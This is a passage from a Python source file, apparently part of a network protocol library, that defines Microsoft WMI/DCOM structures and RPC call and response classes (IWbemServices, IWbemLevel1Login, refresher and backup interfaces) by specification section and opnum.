'_-wbemObjects', 'self[\"dwDataSize3\"]'),\n        ('wbemObjects', ':'),\n    )\n\n# 2.2.14.1 WBEM_DATAPACKET_OBJECT Structure\nclass WBEM_DATAPACKET_OBJECT(Structure):\n    structure = (\n        ('dwSizeOfHeader', '<L=9'),\n        ('dwSizeOfData', '<L','len(self[\"Object\"])'),\n        ('bObjectType', 'B=0'),\n        ('_Object', '_-Object', 'self[\"dwSizeOfData\"]'),\n        ('Object', ':'),\n    )\n\n# 2.2.14.2 WBEMOBJECT_CLASS Structure\nclass WBEMOBJECT_CLASS(Structure):\n    structure = (\n        ('dwSizeOfHeader', '<L=8'),\n        ('dwSizeOfData', '<L','len(self[\"ObjectData\"])'),\n        ('_ObjectData', '_-ObjectData', 'self[\"dwSizeOfData\"]'),\n        ('ObjectData', ':'),\n    )\n\n# 2.2.14.3 WBEMOBJECT_INSTANCE Structure\nclass WBEMOBJECT_INSTANCE(Structure):\n    structure = (\n        ('dwSizeOfHeader', '<L=0x18'),\n        ('dwSizeOfData', '<L','len(self[\"ObjectData\"])'),\n        ('classID', '16s=b\"\\x00\"*16'),\n        ('_ObjectData', '_-ObjectData', 'self[\"dwSizeOfData\"]'),\n        ('ObjectData', ':'),\n    )\n\n# 2.2.14.4 WBEMOBJECT_INSTANCE_NOCLASS Structure\nclass WBEMOBJECT_INSTANCE_NOCLASS(Structure):\n    structure = (\n        ('dwSizeOfHeader', '<L=0x18'),\n        ('dwSizeOfData', '<L','len(self[\"ObjectData\"])'),\n        ('classID', '16s=b\"\\x00\"*16'),\n        ('_ObjectData', '_-ObjectData', 'self[\"dwSizeOfData\"]'),\n        ('ObjectData', ':'),\n    )\n\n# 2.2.15 WBEM_REFRESHED_OBJECT Structure\nclass WBEM_REFRESHED_OBJECT(NDRSTRUCT):\n    structure = (\n        ('m_lRequestId', LONG),\n        ('m_lBlobType', LONG),\n        ('m_lBlobLength', LONG),\n        ('m_pBlob', BYTE_ARRAY),\n    )\n\nclass WBEM_REFRESHED_OBJECT_ARRAY(NDRUniConformantArray):\n    item = WBEM_REFRESHED_OBJECT\n\nclass PWBEM_REFRESHED_OBJECT_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', WBEM_REFRESHED_OBJECT_ARRAY),\n    )\n\n# 2.2.16 WBEM_INSTANCE_BLOB Enumeration\nclass WBEM_INSTANCE_BLOB(Structure):\n    structure = (\n        ('Version', '<L=0x1'),\n        ('numObjects', '<L=0'),\n        ('Objects', ':'),\n    )\n\n# 2.2.17 WBEM_INSTANCE_BLOB_TYPE Enumeration\nclass WBEM_INSTANCE_BLOB_TYPE(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        WBEM_FLAG_CONNECT_REPOSITORY_ONLY = 0x40\n        WBEM_FLAG_CONNECT_PROVIDERS       = 0x100\n\n# 2.2.26 _WBEM_REFRESH_INFO_NON_HIPERF Structure\nclass _WBEM_REFRESH_INFO_NON_HIPERF(NDRSTRUCT):\n    structure = (\n        ('m_wszNamespace', LPWSTR),\n        ('m_pTemplate', PMInterfacePointer),\n    )\n\n# 2.2.27 _WBEM_REFRESH_INFO_REMOTE Structure\nclass _WBEM_REFRESH_INFO_REMOTE(NDRSTRUCT):\n    structure = (\n        ('m_pRefresher', PMInterfacePointer),\n        ('m_pTemplate', PMInterfacePointer),\n        ('m_Guid', GUID),\n    )\n\n# 2.2.25 WBEM_REFRESH_TYPE Enumeration\nclass WBEM_REFRESH_TYPE(NDRENUM):\n    class enumItems(Enum):\n        WBEM_REFRESH_TYPE_INVALID       = 0\n        WBEM_REFRESH_TYPE_REMOTE        = 3\n        WBEM_REFRESH_TYPE_NON_HIPERF    = 6\n\n# 2.2.28 _WBEM_REFRESH_INFO_UNION Union\nclass _WBEM_REFRESH_INFO_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', LONG),\n    )\n    union = {\n        WBEM_REFRESH_TYPE.WBEM_REFRESH_TYPE_REMOTE    : ('m_Remote', _WBEM_REFRESH_INFO_REMOTE),\n        WBEM_REFRESH_TYPE.WBEM_REFRESH_TYPE_NON_HIPERF: ('m_NonHiPerf', _WBEM_REFRESH_INFO_NON_HIPERF),\n        WBEM_REFRESH_TYPE.WBEM_REFRESH_TYPE_INVALID   : ('m_hres', HRESULT),\n    }\n\n# 2.2.20 _WBEM_REFRESH_INFO Structure\nclass _WBEM_REFRESH_INFO(NDRSTRUCT):\n    structure = (\n        ('m_lType', LONG),\n        ('m_Info', _WBEM_REFRESH_INFO_UNION),\n        ('m_lCancelId', LONG),\n    )\n\n# 2.2.21 _WBEM_REFRESHER_ID Structure\nclass _WBEM_REFRESHER_ID(NDRSTRUCT):\n    structure = (\n        ('m_szMachineName', LPCSTR),\n        ('m_dwProcessId', DWORD),\n        ('m_guidRefresherId', GUID),\n    )\n\n# 2.2.22 _WBEM_RECONNECT_INFO Structure\nclass _WBEM_RECONNECT_INFO(NDRSTRUCT):\n    structure = (\n        ('m_lType', LPCSTR),\n        ('m_pwcsPath', LPWSTR),\n    )\n\nclass _WBEM_RECONNECT_INFO_ARRAY(NDRUniConformantArray):\n    item = _WBEM_RECONNECT_INFO\n\n# 2.2.23 _WBEM_RECONNECT_RESULTS Structure\nclass _WBEM_RECONNECT_RESULTS(NDRSTRUCT):\n    structure = (\n        ('m_lId', LONG),\n        ('m_hr', HRESULT),\n    )\n\nclass _WBEM_RECONNECT_RESULTS_ARRAY(NDRUniConformantArray):\n    item = _WBEM_RECONNECT_INFO\n\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.4.1 IWbemLevel1Login Interface\n# 3.1.4.1.1 IWbemLevel1Login::EstablishPosition (Opnum 3)\nclass IWbemLevel1Login_EstablishPosition(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('reserved1', LPWSTR),\n       ('reserved2', DWORD),\n    )\n\nclass IWbemLevel1Login_EstablishPositionResponse(DCOMANSWER):\n    structure = (\n       ('LocaleVersion', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.1.2 IWbemLevel1Login::RequestChallenge (Opnum 4)\nclass IWbemLevel1Login_RequestChallenge(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('reserved1', LPWSTR),\n       ('reserved2', LPWSTR),\n    )\n\nclass IWbemLevel1Login_RequestChallengeResponse(DCOMANSWER):\n    structure = (\n       ('reserved3', UCHAR_ARRAY_CV),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.1.3 IWbemLevel1Login::WBEMLogin (Opnum 5)\nclass IWbemLevel1Login_WBEMLogin(DCOMCALL):\n    opnum = 5\n    structure = (\n       ('reserved1', LPWSTR),\n       ('reserved2', PUCHAR_ARRAY_CV),\n       ('reserved3', LONG),\n       ('reserved4', PMInterfacePointer),\n    )\n\nclass IWbemLevel1Login_WBEMLoginResponse(DCOMANSWER):\n    structure = (\n       ('reserved5', UCHAR_ARRAY_CV),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.1.4 IWbemLevel1Login::NTLMLogin (Opnum 6)\nclass IWbemLevel1Login_NTLMLogin(DCOMCALL):\n    opnum = 6\n    structure = (\n       ('wszNetworkResource', LPWSTR),\n       ('wszPreferredLocale', LPWSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n    )\n\nclass IWbemLevel1Login_NTLMLoginResponse(DCOMANSWER):\n    structure = (\n       ('ppNamespace', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2 IWbemObjectSink Interface Server Details\n# 3.1.4.2.1 IWbemObjectSink::Indicate (Opnum 3) Server details\nclass IWbemObjectSink_Indicate(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('lObjectCount', LONG),\n       ('apObjArray', PMInterfacePointer_ARRAY),\n    )\n\nclass IWbemObjectSink_IndicateResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2.2 IWbemObjectSink::SetStatus (Opnum 4) Server Details\nclass IWbemObjectSink_SetStatus(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('lFlags', LONG),\n       ('hResult', HRESULT),\n       ('strParam', BSTR),\n       ('pObjParam', PMInterfacePointer),\n    )\n\nclass IWbemObjectSink_SetStatusResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3 IWbemServices Interface\n# 3.1.4.3.1 IWbemServices::OpenNamespace (Opnum 3)\nclass IWbemServices_OpenNamespace(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('strNamespace', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('ppWorkingNamespace', PMInterfacePointer),\n       ('ppResult', PMInterfacePointer),\n    )\n\nclass IWbemServices_OpenNamespaceResponse(DCOMANSWER):\n    structure = (\n       ('ppWorkingNamespace', PPMInterfacePointer),\n       ('ppResult', PPMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.2 IWbemServices::CancelAsyncCall (Opnum 4)\nclass IWbemServices_CancelAsyncCall(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('IWbemObjectSink', PMInterfacePointer),\n    )\n\nclass IWbemServices_CancelAsyncCallResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.3 IWbemServices::QueryObjectSink (Opnum 5)\nclass IWbemServices_QueryObjectSink(DCOMCALL):\n    opnum = 5\n    structure = (\n       ('lFlags', LONG),\n    )\n\nclass IWbemServices_QueryObjectSinkResponse(DCOMANSWER):\n    structure = (\n       ('ppResponseHandler', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.4 IWbemServices::GetObject (Opnum 6)\nclass IWbemServices_GetObject(DCOMCALL):\n    opnum = 6\n    structure = (\n       ('strObjectPath', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('ppObject', PMInterfacePointer),\n       ('ppCallResult', PMInterfacePointer),\n    )\n\nclass IWbemServices_GetObjectResponse(DCOMANSWER):\n    structure = (\n       ('ppObject', PPMInterfacePointer),\n       ('ppCallResult', PPMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.5 IWbemServices::GetObjectAsync (Opnum 7)\nclass IWbemServices_GetObjectAsync(DCOMCALL):\n    opnum = 7\n    structure = (\n       ('strObjectPath', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pResponseHandler', PMInterfacePointer),\n    )\n\nclass IWbemServices_GetObjectAsyncResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.6 IWbemServices::PutClass (Opnum 8)\nclass IWbemServices_PutClass(DCOMCALL):\n    opnum = 8\n    structure = (\n       ('pObject', PMInterfacePointer),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pResponseHandler', PMInterfacePointer),\n       ('ppCallResult', PMInterfacePointer),\n    )\n\nclass IWbemServices_PutClassResponse(DCOMANSWER):\n    structure = (\n       ('ppCallResult', PPMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.7 IWbemServices::PutClassAsync (Opnum 9)\nclass IWbemServices_PutClassAsync(DCOMCALL):\n    opnum = 9\n    structure = (\n       ('pObject', PMInterfacePointer),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pResponseHandler', PMInterfacePointer),\n    )\n\nclass IWbemServices_PutClassAsyncResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.8 IWbemServices::DeleteClass (Opnum 10)\nclass IWbemServices_DeleteClass(DCOMCALL):\n    opnum = 10\n    structure = (\n       ('strClass', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('ppCallResult', PMInterfacePointer),\n    )\n\nclass IWbemServices_DeleteClassResponse(DCOMANSWER):\n    structure = (\n       ('ppCallResult', PPMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.9 IWbemServices::DeleteClassAsync (Opnum 11)\nclass IWbemServices_DeleteClassAsync(DCOMCALL):\n    opnum = 11\n    structure = (\n       ('strClass', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pResponseHandler', PMInterfacePointer),\n    )\n\nclass IWbemServices_DeleteClassAsyncResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.10 IWbemServices::CreateClassEnum (Opnum 12)\nclass IWbemServices_CreateClassEnum(DCOMCALL):\n    opnum = 12\n    structure = (\n       ('strSuperClass', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n    )\n\nclass IWbemServices_CreateClassEnumResponse(DCOMANSWER):\n    structure = (\n       ('ppEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.11 IWbemServices::CreateClassEnumAsync (Opnum 13)\nclass IWbemServices_CreateClassEnumAsync(DCOMCALL):\n    opnum = 13\n    structure = (\n       ('strSuperClass', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pResponseHandler', PMInterfacePointer),\n    )\n\nclass IWbemServices_CreateClassEnumAsyncResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.12 IWbemServices::PutInstance (Opnum 14)\nclass IWbemServices_PutInstance(DCOMCALL):\n    opnum = 14\n    structure = (\n       ('pInst', PMInterfacePointer),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('ppCallResult', PMInterfacePointer),\n    )\n\nclass IWbemServices_PutInstanceResponse(DCOMANSWER):\n    structure = (\n       ('ppCallResult', PPMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.13 IWbemServices::PutInstanceAsync (Opnum 15)\nclass IWbemServices_PutInstanceAsync(DCOMCALL):\n    opnum = 15\n    structure = (\n       ('pInst', PMInterfacePointer),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pResponseHandler', PMInterfacePointer),\n    )\n\nclass IWbemServices_PutInstanceAsyncResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.14 IWbemServices::DeleteInstance (Opnum 16)\nclass IWbemServices_DeleteInstance(DCOMCALL):\n    opnum = 16\n    structure = (\n       ('strObjectPath', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('ppCallResult', PMInterfacePointer),\n    )\n\nclass IWbemServices_DeleteInstanceResponse(DCOMANSWER):\n    structure = (\n       ('ppCallResult', PPMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.15 IWbemServices::DeleteInstanceAsync (Opnum 17)\nclass IWbemServices_DeleteInstanceAsync(DCOMCALL):\n    opnum = 17\n    structure = (\n       ('strObjectPath', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pResponseHandler', PMInterfacePointer),\n    )\n\nclass IWbemServices_DeleteInstanceAsyncResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.16 IWbemServices::CreateInstanceEnum (Opnum 18)\nclass IWbemServices_CreateInstanceEnum(DCOMCALL):\n    opnum = 18\n    structure = (\n       ('strSuperClass', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n    )\n\nclass IWbemServices_CreateInstanceEnumResponse(DCOMANSWER):\n    structure = (\n       ('ppEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.17 IWbemServices::CreateInstanceEnumAsync (Opnum 19)\nclass IWbemServices_CreateInstanceEnumAsync(DCOMCALL):\n    opnum = 19\n    structure = (\n       ('strSuperClass', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pResponseHandler', PMInterfacePointer),\n    )\n\nclass IWbemServices_CreateInstanceEnumAsyncResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.18 IWbemServices::ExecQuery (Opnum 20)\nclass IWbemServices_ExecQuery(DCOMCALL):\n    opnum = 20\n    structure = (\n       ('strQueryLanguage', BSTR),\n       ('strQuery', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n    )\n\nclass IWbemServices_ExecQueryResponse(DCOMANSWER):\n    structure = (\n       ('ppEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.19 IWbemServices::ExecQueryAsync (Opnum 21)\nclass IWbemServices_ExecQueryAsync(DCOMCALL):\n    opnum = 21\n    structure = (\n       ('strQueryLanguage', BSTR),\n       ('strQuery', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pResponseHandler', PMInterfacePointer),\n    )\n\nclass IWbemServices_ExecQueryAsyncResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.20 IWbemServices::ExecNotificationQuery (Opnum 22)\nclass IWbemServices_ExecNotificationQuery(DCOMCALL):\n    opnum = 22\n    structure = (\n       ('strQueryLanguage', BSTR),\n       ('strQuery', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n    )\n\nclass IWbemServices_ExecNotificationQueryResponse(DCOMANSWER):\n    structure = (\n       ('ppEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.21 IWbemServices::ExecNotificationQueryAsync (Opnum 23)\nclass IWbemServices_ExecNotificationQueryAsync(DCOMCALL):\n    opnum = 23\n    structure = (\n       ('strQueryLanguage', BSTR),\n       ('strQuery', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pResponseHandler', PMInterfacePointer),\n    )\n\nclass IWbemServices_ExecNotificationQueryAsyncResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.22 IWbemServices::ExecMethod (Opnum 24)\nclass IWbemServices_ExecMethod(DCOMCALL):\n    opnum = 24\n    structure = (\n       ('strObjectPath', BSTR),\n       ('strMethodName', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pInParams', PMInterfacePointer),\n       ('ppOutParams', PPMInterfacePointer),\n       ('ppCallResult', PPMInterfacePointer),\n    )\n\nclass IWbemServices_ExecMethodResponse(DCOMANSWER):\n    structure = (\n       ('ppOutParams', PPMInterfacePointer),\n       ('ppCallResult', PPMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3.23 IWbemServices::ExecMethodAsync (Opnum 25)\nclass IWbemServices_ExecMethodAsync(DCOMCALL):\n    opnum = 25\n    structure = (\n       ('strObjectPath', BSTR),\n       ('strMethodName', BSTR),\n       ('lFlags', LONG),\n       ('pCtx', PMInterfacePointer),\n       ('pInParams', PMInterfacePointer),\n       ('pResponseHandler', PMInterfacePointer),\n    )\n\nclass IWbemServices_ExecMethodAsyncResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4 IEnumWbemClassObject Interface\n# 3.1.4.4.1 IEnumWbemClassObject::Reset (Opnum 3)\nclass IEnumWbemClassObject_Reset(DCOMCALL):\n    opnum = 3\n    structure = (\n    )\n\nclass IEnumWbemClassObject_ResetResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.2 IEnumWbemClassObject::Next (Opnum 4)\nclass IEnumWbemClassObject_Next(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('lTimeout', ULONG),\n       ('uCount', ULONG),\n    )\n\nclass IEnumWbemClassObject_NextResponse(DCOMANSWER):\n    structure = (\n       ('apObjects', PMInterfacePointer_ARRAY_CV),\n       ('puReturned', ULONG),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.3 IEnumWbemClassObject::NextAsync (Opnum 5)\nclass IEnumWbemClassObject_NextAsync(DCOMCALL):\n    opnum = 5\n    structure = (\n       ('lTimeout', LONG),\n       ('pSink', PMInterfacePointer),\n    )\n\nclass IEnumWbemClassObject_NextAsyncResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.4 IEnumWbemClassObject::Clone (Opnum 6)\nclass IEnumWbemClassObject_Clone(DCOMCALL):\n    opnum = 6\n    structure = (\n    )\n\nclass IEnumWbemClassObject_CloneResponse(DCOMANSWER):\n    structure = (\n       ('ppEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.5 IEnumWbemClassObject::Skip (Opnum 7)\nclass IEnumWbemClassObject_Skip(DCOMCALL):\n    opnum = 7\n    structure = (\n       ('lTimeout', LONG),\n       ('uCount', ULONG),\n    )\n\nclass IEnumWbemClassObject_SkipResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.5 IWbemCallResult Interface\n# 3.1.4.5.1 IWbemCallResult::GetResultObject (Opnum 3)\nclass IWbemCallResult_GetResultObject(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('lTimeout', LONG),\n    )\n\nclass IWbemCallResult_GetResultObjectResponse(DCOMANSWER):\n    structure = (\n       ('ppResultObject', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.5.2 IWbemCallResult::GetResultString (Opnum 4)\nclass IWbemCallResult_GetResultString(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('lTimeout', LONG),\n    )\n\nclass IWbemCallResult_GetResultStringResponse(DCOMANSWER):\n    structure = (\n       ('pstrResultString', BSTR),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.5.3 IWbemCallResult::GetResultServices (Opnum 5)\nclass IWbemCallResult_GetResultServices(DCOMCALL):\n    opnum = 5\n    structure = (\n       ('lTimeout', LONG),\n    )\n\nclass IWbemCallResult_GetResultServicesResponse(DCOMANSWER):\n    structure = (\n       ('ppServices', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.5.4 IWbemCallResult::GetCallStatus (Opnum 6)\nclass IWbemCallResult_GetCallStatus(DCOMCALL):\n    opnum = 6\n    structure = (\n       ('lTimeout', LONG),\n    )\n\nclass IWbemCallResult_GetCallStatusResponse(DCOMANSWER):\n    structure = (\n       ('plStatus', LONG),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.6 IWbemFetchSmartEnum Interface\n# 3.1.4.6.1 IWbemFetchSmartEnum::GetSmartEnum (Opnum 3)\nclass IWbemFetchSmartEnum_GetSmartEnum(DCOMCALL):\n    opnum = 3\n    structure = (\n    )\n\nclass IWbemFetchSmartEnum_GetSmartEnumResponse(DCOMANSWER):\n    structure = (\n       ('ppSmartEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.7 IWbemWCOSmartEnum Interface\n# 3.1.4.7.1 IWbemWCOSmartEnum::Next (Opnum 3)\nclass IWbemWCOSmartEnum_Next(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('proxyGUID', REFGUID),\n       ('lTimeout', LONG),\n       ('uCount', ULONG),\n    )\n\nclass IWbemWCOSmartEnum_NextResponse(DCOMANSWER):\n    structure = (\n       ('puReturned', ULONG),\n       ('pdwBuffSize', ULONG),\n       ('pBuffer', BYTE_ARRAY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.8 IWbemLoginClientID Interface\n# 3.1.4.8.1 IWbemLoginClientID::SetClientInfo (Opnum 3)\nclass IWbemLoginClientID_SetClientInfo(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('wszClientMachine', LPWSTR),\n       ('lClientProcId', LONG),\n       ('lReserved', LONG),\n    )\n\nclass IWbemLoginClientID_SetClientInfoResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.9 IWbemLoginHelper Interface\n# 3.1.4.9.1 IWbemLoginHelper::SetEvent (Opnum 3)\nclass IWbemLoginHelper_SetEvent(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('sEventToSet', LPCSTR),\n    )\n\nclass IWbemLoginHelper_SetEventResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n# 3.1.4.10 IWbemBackupRestore Interface\n# 3.1.4.10.1 IWbemBackupRestore::Backup (Opnum 3)\nclass IWbemBackupRestore_Backup(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('strBackupToFile', LPWSTR),\n       ('lFlags', LONG),\n    )\n\nclass IWbemBackupRestore_BackupResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.10.2 IWbemBackupRestore::Restore (Opnum 4)\nclass IWbemBackupRestore_Restore(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('strRestoreFromFile', LPWSTR),\n       ('lFlags', LONG),\n    )\n\nclass IWbemBackupRestore_RestoreResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.11 IWbemBackupRestoreEx Interface\n# 3.1.4.11.1 IWbemBackupRestoreEx::Pause (Opnum 5)\nclass IWbemBackupRestoreEx_Pause(DCOMCALL):\n    opnum = 5\n    structure = (\n    )\n\nclass IWbemBackupRestoreEx_PauseResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.11.2 IWbemBackupRestoreEx::Resume (Opnum 6)\nclass IWbemBackupRestoreEx_Resume(DCOMCALL):\n    opnum = 6\n    structure = (\n    )\n\nclass IWbemBackupRestoreEx_ResumeResponse(DCOMANSWER):\n    structure = (\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.12 IWbemRefreshingServices Interface\n# 3.1.4.12.1 IWbemRefreshingServices::AddObjectToRefresher (Opnum 3)\nclass IWbemRefreshingServices_AddObjectToRefresher(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('pRefresherId', _WBEM_REFRESHER_ID),\n       ('wszPath', LPWSTR),\n       ('lFlags', LONG),\n       ('pContext', PMInterfacePointer),\n       ('dwClientRefrVersion', DWORD),\n    )\n\nclass IWbemRefreshingServices_AddObjectToRefresherResponse(DCOMANSWER):\n    structure = (\n       ('pInfo', _WBEM_REFRESH_INFO),\n       ('pdwSvrRefrVersion', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.12.2 IWbemRefreshingServices::AddObjectToRefresherByTemplate (Opnum 4)\nclass IWbemRefreshingServices_AddObjectToRefresherByTemplate(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('pRefresherId', _WBEM_REFRESHER_ID),\n       ('pTemplate', PMInterfacePointer),\n       ('lFlags', LONG),\n       ('pContext', PMInterfacePointer),\n       ('dwClientRefrVersion', DWORD),\n    )\n\nclass IWbemRefreshingServices_AddObjectToRefresherByTemplateResponse(DCOMANSWER):\n    structure = (\n       ('pInfo', _WBEM_REFRESH_INFO),\n       ('pdwSvrRefrVersion', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.12.3 IWbemRefreshingServices::AddEnumToRefresher (Opnum 5)\nclass IWbemRefreshingServices_AddEnumToRefresher(DCOMCALL):\n    opnum = 5\n    structure = (\n       ('pRefresherId', _WBEM_REFRESHER_ID),\n       ('wszClass', LPWSTR),\n       ('lFlags', LONG),\n       ('pContext', PMInterfacePointer),\n       ('dwClientRefrVersion', DWORD),\n    )\n\nclass IWbemRefreshingServices_AddEnumToRefresherResponse(DCOMANSWER):\n    structure = (\n       ('pInfo', _WBEM_REFRESH_INFO),\n       ('pdwSvrRefrVersion', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.12.4 IWbemRefreshingServices::RemoveObjectFromRefresher (Opnum 6)\nclass IWbemRefreshingServices_RemoveObjectFromRefresher(DCOMCALL):\n    opnum = 6\n    structure = (\n       ('pRefresherId', _WBEM_REFRESHER_ID),\n       ('lId', LONG),\n       ('lFlags', LONG),\n       ('dwClientRefrVersion', DWORD),\n    )\n\nclass IWbemRefreshingServices_RemoveObjectFromRefresherResponse(DCOMANSWER):\n    structure = (\n       ('pdwSvrRefrVersion', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.12.5 IWbemRefreshingServices::GetRemoteRefresher (Opnum 7)\nclass IWbemRefreshingServices_GetRemoteRefresher(DCOMCALL):\n    opnum = 7\n    structure = (\n       ('pRefresherId', _WBEM_REFRESHER_ID),\n       ('lFlags', LONG),\n       ('dwClientRefrVersion', DWORD),\n    )\n\nclass IWbemRefreshingServices_GetRemoteRefresherResponse(DCOMANSWER):\n    structure = (\n       ('ppRemRefresher', PMInterfacePointer),\n       ('pGuid', GUID),\n       ('pdwSvrRefrVersion', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.12.6 IWbemRefreshingServices::ReconnectRemoteRefresher (Opnum 8)\nclass IWbemRefreshingServices_ReconnectRemoteRefresher(DCOMCALL):\n    opnum = 8\n    structure = (\n       ('pRefresherId', _WBEM_REFRESHER_ID),\n       ('lFlags', LONG),\n       ('lNumObjects', LONG),\n       ('dwClientRefrVersion', DWORD),\n   